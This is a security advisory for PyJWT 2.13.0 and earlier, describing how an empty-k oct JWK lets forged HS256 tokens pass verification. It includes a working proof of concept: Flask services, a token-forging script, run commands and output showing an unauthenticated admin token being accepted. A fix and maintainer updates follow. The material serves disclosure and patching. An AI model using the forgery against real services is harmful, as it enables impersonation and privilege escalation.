GHSA-pxh4-856f-4h89

Suggest an improvement
Source
https://github.com/advisories/GHSA-pxh4-856f-4h89
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-pxh4-856f-4h89/GHSA-pxh4-856f-4h89.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-pxh4-856f-4h89
Downstream
Published
2026-10-22T15:48:04Z
Modified
2026-10-22T16:00:09Z
Severity
  • 7.4 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N CVSS Calculator
Summary
PyJWT: HS256/384/512 verify accepts empty HMAC key via oct JWK (PyJWK/PyJWKClient) enabling token forgery
Details

Summary

HMACAlgorithm.from_jwk accepts a symmetric (kty=oct) JWK whose k value is the empty string and returns a zero-length key without raising. When a token is then verified with that key object (a PyJWK, or a PyJWK resolved by PyJWKSet / PyJWKClient), the HMAC verifier computes HMAC(key=b"", signing_input) and accepts any token an attacker forged with the same empty key. The attacker needs no secret knowledge: they reproduce the digest locally with an empty key and set the token's kid to the empty-k JWK.

The empty-key rejection that HMACAlgorithm.prepare_key performs for string/bytes secrets (added in 2.13.0) was never propagated to the sibling from_jwk code path, so the JWK/JWKS verification route stays exploitable. Under default decode options this path only emits an InsecureKeyLengthWarning, not an error, so verification still succeeds. This is the same "empty/nil HMAC key is accepted by verify" defect the JWT ecosystem is currently closing library-side: fast-jwt CVE-2026-44351 (CVSS 9.1) and ruby-jwt CVE-2026-45363 both added a library-side reject-empty-HMAC-key precondition.

Affected versions

PyJWT (PyPI package pyjwt) <= 2.13.0, current master at commit 7144e4534c34810f4525dc4578a32addd8212cff. The string/bytes secret path is already guarded in 2.13.0; the JWK/JWKS path is not.

Privilege required

Unauthenticated. Any party who can reach a JWT-verifying endpoint of an application that verifies via a PyJWK / PyJWKSet / PyJWKClient whose oct key has an empty k can forge tokens with arbitrary claims.

Preconditions: the verifier resolves the HMAC key from a JWK/JWKS whose oct entry carries an empty k. This occurs when the signing secret is sourced from an unset environment variable / unset config row / key-finder fallback that base64url-encodes b"" into the published JWKS, or when the application trusts a JWKS containing such an entry. The equivalent unset-secret case for the string-secret API (jwt.decode(token, key="")) is already rejected in 2.13.0; the JWK route is the remaining reachable surface for the same misconfiguration.

Vulnerable code

jwt/algorithms.py, HMACAlgorithm.from_jwk (line 380):

@staticmethod
def from_jwk(jwk: str | JWKDict) -> bytes:
    try:
        if isinstance(jwk, str):
            obj: JWKDict = json.loads(jwk)
        elif isinstance(jwk, dict):
            obj = jwk
        else:
            raise ValueError
    except ValueError:
        raise InvalidKeyError("Key is not valid JSON") from None

    if obj.get("kty") != "oct":
        raise InvalidKeyError("Not an HMAC key")

    return base64url_decode(obj["k"])   # <-- empty k -> b"", no rejection

Contrast the sibling prepare_key, which DID get the guard (lines 325-329):

def prepare_key(self, key: str | bytes) -> bytes:
    key_bytes = force_bytes(key)

    if len(key_bytes) == 0:
        raise InvalidKeyError("HMAC key must not be empty.")

In jwt/api_jws.py, _verify_signature (lines 389-416) uses the PyJWK key material directly, bypassing prepare_key, and the length warning is non-fatal by default:

        if isinstance(key, PyJWK):
            if alg != key.algorithm_name:
                raise InvalidAlgorithmError(
                    f"Token algorithm {alg!r} does not match the key's "
                    f"algorithm {key.algorithm_name!r}"
                )
            alg_obj = key.Algorithm
            prepared_key = key.key            # from_jwk output (b""), prepare_key not run
        else:
            try:
                alg_obj = self.get_algorithm_by_name(alg)
            except NotImplementedError as e:
                raise InvalidAlgorithmError("Algorithm not supported") from e
            prepared_key = alg_obj.prepare_key(key)

        key_length_msg = alg_obj.check_key_length(prepared_key)
        if key_length_msg:
            if effective_options.get("enforce_minimum_key_length", False):
                raise InvalidKeyError(key_length_msg)
            else:
                warnings.warn(key_length_msg, InsecureKeyLengthWarning, stacklevel=4)  # default: warn only

        if not alg_obj.verify(signing_input, prepared_key, signature):  # verify with b"" succeeds
            raise InvalidSignatureError("Signature verification failed")

PyJWK.__init__ sets self.key = self.Algorithm.from_jwk(self._jwk_data), so a {"kty":"oct","k":""} JWK yields PyJWK.key == b"". PyJWKSet and PyJWKClient.get_signing_key_from_jwt build PyJWK objects the same way, so the JWKS-over-HTTP resolution route is affected identically.

The 2.13.0 release note (CHANGELOG.rst) documents the prepare_key JWK/PEM hardening (GHSA-xgmm-8j9v-c9wx) and the PyJWK alg-binding fix (GHSA-jq35-7prp-9v3f), and the test suite has test_hmac_prepare_key_rejects_empty_key plus test_hmac_from_jwk_should_raise_exception_if_empty_json (which tests an empty JSON object {}, not an oct key with empty k). The empty-k oct case is the untested sibling path this report closes.

How the attacker input reaches the sink

An unauthenticated HTTP client controls the bearer token entirely: its kid selects the empty-k oct JWK, and its signature is computed locally with the empty key. The token flows request header -> PyJWKClient.get_signing_key_from_jwt (kid resolution against the trusted JWKS) -> jwt.decode with the resolved PyJWK -> _verify_signature -> HMACAlgorithm.verify(signing_input, b"", sig). No secret, credential, or prior session is required; the only server-side precondition is a JWKS oct entry with an empty k, which the "unset signing secret" configuration produces. This is the identical trust boundary the string-secret path already guards.

Proof of concept

End-to-end reproduction against pinned PyPI pyjwt 2.13.0 (two deployed Flask services)

Two services model a standard OIDC-style deployment: an auth service publishing a JWKS, and a protected resource server validating bearer tokens against that JWKS with PyJWT's documented PyJWKClient pattern. The auth service's signing secret is sourced from an unset env var (SIGNING_SECRET unset -> ""), so the published oct JWK carries k == "".

idp.py (auth service):

import os, base64
from flask import Flask, jsonify
app = Flask(__name__)
SIGNING_SECRET = os.environ.get("SIGNING_SECRET", "")   # UNSET at runtime -> ""
def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode()

@app.route("/.well-known/jwks.json")
def jwks():
    return jsonify({"keys": [{
        "kty": "oct", "use": "sig", "alg": "HS256",
        "kid": "auth-signing-2026",
        "k": b64u(SIGNING_SECRET.encode()),   # empty secret -> k == ""
    }]})

if __name__ == "__main__":
    app.run(port=9101)

api.py (protected resource server):

from flask import Flask, request, jsonify
import jwt
from jwt import PyJWKClient
app = Flask(__name__)
jwks_client = PyJWKClient("http://127.0.0.1:9101/.well-known/jwks.json")

def authenticate():
    auth = request.headers.get("Authorization", "")
    if not auth.startswith("Bearer "):
        return None, "missing bearer token"
    token = auth.split(" ", 1)[1]
    try:
        signing_key = jwks_client.get_signing_key_from_jwt(token)  # resolves by kid
        claims = jwt.decode(token, signing_key, algorithms=["HS256", "RS256"])
    except Exception as e:
        return None, "invalid token: %s" % type(e).__name__
    return claims, None

@app.route("/api/admin/users")
def admin_users():
    claims, err = authenticate()
    if err:
        return jsonify({"error": err}), 401
    if claims.get("role") != "admin":
        return jsonify({"error": "forbidden"}), 403
    return jsonify({"ok": True, "action": "list_all_users",
                    "as_user": claims.get("sub"), "role": claims.get("role")})

if __name__ == "__main__":
    app.run(port=9102)

forge.py (attacker; no secret knowledge):

import hmac, hashlib, base64, json, sys
def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
header={"alg":"HS256","typ":"JWT","kid":"auth-signing-2026"}
payload={"sub":"attacker@evil.example","role":"admin"}
si=b64u(json.dumps(header,separators=(',',':')).encode())+"."+b64u(json.dumps(payload,separators=(',',':')).encode())
key = sys.argv[1].encode() if len(sys.argv)>1 else b""   # empty key
sig=hmac.new(key, si.encode(), hashlib.sha256).digest()
print(si+"."+b64u(sig))

Run:

python -m venv v && ./v/bin/pip install "PyJWT==2.13.0" flask
( SIGNING_SECRET= ./v/bin/python idp.py & ) ; ./v/bin/python api.py &
FORGED=$(./v/bin/python forge.py "")
curl -s -H "Authorization: Bearer $FORGED" http://127.0.0.1:9102/api/admin/users

Verbatim run (attack, both negative controls, sanity, and patched-build re-run):

### PyJWT version
2.13.0

### JWKS published by the auth service (note the empty "k"):
{"keys":[{"alg":"HS256","k":"","kid":"auth-signing-2026","kty":"oct","use":"sig"}]}

### Baseline: unauthenticated request to admin endpoint
HTTP 401

### ATTACK: attacker forges HS256 admin token signed with the EMPTY key
forged token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImF1dGgtc2lnbmluZy0yMDI2In0.eyJzdWIiOiJhdHRhY2tlckBldmlsLmV4YW1wbGUiLCJyb2xlIjoiYWRtaW4ifQ.iwgDP9D-oD0zXWMEUhx710f_NjHWKkrLVgjPAOtEUSQ
response:
{"action":"list_all_users","as_user":"attacker@evil.example","ok":true,"role":"admin"}
  <-- HTTP 200

### NEGATIVE CONTROL 1: forge with a WRONG non-empty key (IdP still empty) -> reject
{"error":"invalid token: InvalidSignatureError"}
  <-- HTTP 401

### NEGATIVE CONTROL 2: IdP restarted with a REAL non-empty secret; empty-key forgery must now fail
JWKS now has non-empty k:
{"keys":[{"alg":"HS256","k":"YS1yZWFsLTMyLWJ5dGUtc3Ryb25nLXNlY3JldC12YWx1ZS0xMjM0","kid":"auth-signing-2026","kty":"oct","use":"sig"}]}
{"error":"invalid token: InvalidSignatureError"}
  <-- HTTP 401

### Sanity: a legitimately-signed token with the real secret is accepted
{"action":"list_all_users","as_user":"attacker@evil.example","ok":true,"role":"admin"}
  <-- HTTP 200

### PATCHED BUILD (from_jwk rejects empty k): re-run the empty-key forgery -> now rejected
JWKS (empty k, vulnerable config):
{"keys":[{"alg":"HS256","k":"","kid":"auth-signing-2026","kty":"oct","use":"sig"}]}
{"error":"invalid token: PyJWKSetError"}
  <-- HTTP 401

The attack returns HTTP 200 with role:admin from an unauthenticated forged token. Both negative controls (wrong non-empty key; real non-empty secret at the auth service) return 401, isolating the defect to empty-key acceptance. The patched build (the from_jwk fix below) rejects the forgery.

Impact

  • Unauthenticated authentication bypass / token forgery: an attacker mints tokens with arbitrary claims (role:admin, arbitrary sub) that verify successfully, yielding full impersonation and privilege escalation on any endpoint gated by such tokens.
  • Reachable through the documented JWKS verification API (PyJWKClient / PyJWKSet / PyJWK), not just direct HMACAlgorithm use.
  • Triggered by the common "unset signing secret" misconfiguration that the string-secret path already rejects in 2.13.0, leaving the JWK path as an asymmetric gap.

Suggested fix

Reject a zero-length key in HMACAlgorithm.from_jwk, mirroring the guard that prepare_key already applies:

if obj.get("kty") != "oct":
    raise InvalidKeyError("Not an HMAC key")

key_bytes = base64url_decode(obj["k"])
if len(key_bytes) == 0:
    raise InvalidKeyError("HMAC key must not be empty.")
return key_bytes

This reuses the exact error message and length check the string/bytes path uses, so both HMAC key-loading routes enforce the same invariant. A regression test for the empty-k oct JWK belongs next to test_hmac_from_jwk_should_raise_exception_if_empty_json.

Fix PR

https://github.com/jpadilla/pyjwt-ghsa-pxh4-856f-4h89/pull/1 (private advisory temp fork, base master, branch fix/hmac-from-jwk-reject-empty-key, DCO-signed; adds test_hmac_from_jwk_rejects_empty_k; test_algorithms.py, test_api_jwk.py, test_api_jws.py pass).

Credit

Reported by tonghuaroot.

Maintainer update (2026-09-10): We reproduced the reported behavior: an oct JWK with an empty k value was decoded to an empty HMAC key and accepted through the JWK/PyJWK verification path, while the raw string/bytes path correctly rejected an empty key. The fix adds the same empty-key validation at the JWK boundary and includes a regression test. It is committed as af8181ca0bec5e6b372fbba9afbe23702b787ceb and has passed the available project tox environments, including crypto and non-crypto tests on Python 3.9, 3.12, and 3.13, plus mypy, package metadata, and coverage checks. Fresh Astra/max review accepted the fix and confirmed that nonempty, binary, and asymmetric-key behavior remains unchanged. The fix has not yet shipped in a released PyJWT version, so this advisory is being moved to draft and remains unpublished pending release.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Database specific
{
    "cwe_ids":  [
        "CWE-347"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-10-22T15:48:04Z",
    "nvd_published_at":  null,
    "severity":  "HIGH"
}
References

Affected packages

PyPI / pyjwt

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
2.14.0

Affected versions

0.*
0.1.1
0.1.2
0.1.3
0.1.4
0.1.5
0.1.6
0.1.7
0.1.8
0.1.9
0.2.0
0.2.1
0.2.3
0.3.0
0.3.1
0.3.2
0.4.0
0.4.1
0.4.2
0.4.3
1.*
1.0.0
1.0.1
1.1.0
1.3.0
1.4.0
1.4.1
1.4.2
1.5.0
1.5.1
1.5.2
1.5.3
1.6.0
1.6.1
1.6.3
1.6.4
1.7.0
1.7.1
2.*
2.0.0a1
2.0.0a2
2.0.0
2.0.1
2.1.0
2.2.0
2.3.0
2.4.0
2.5.0
2.6.0
2.7.0
2.8.0
2.9.0
2.10.0
2.10.1
2.11.0
2.12.0
2.12.1
2.13.0

Database specific

last_known_affected_version_range
"<= 2.13.0"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-pxh4-856f-4h89/GHSA-pxh4-856f-4h89.json"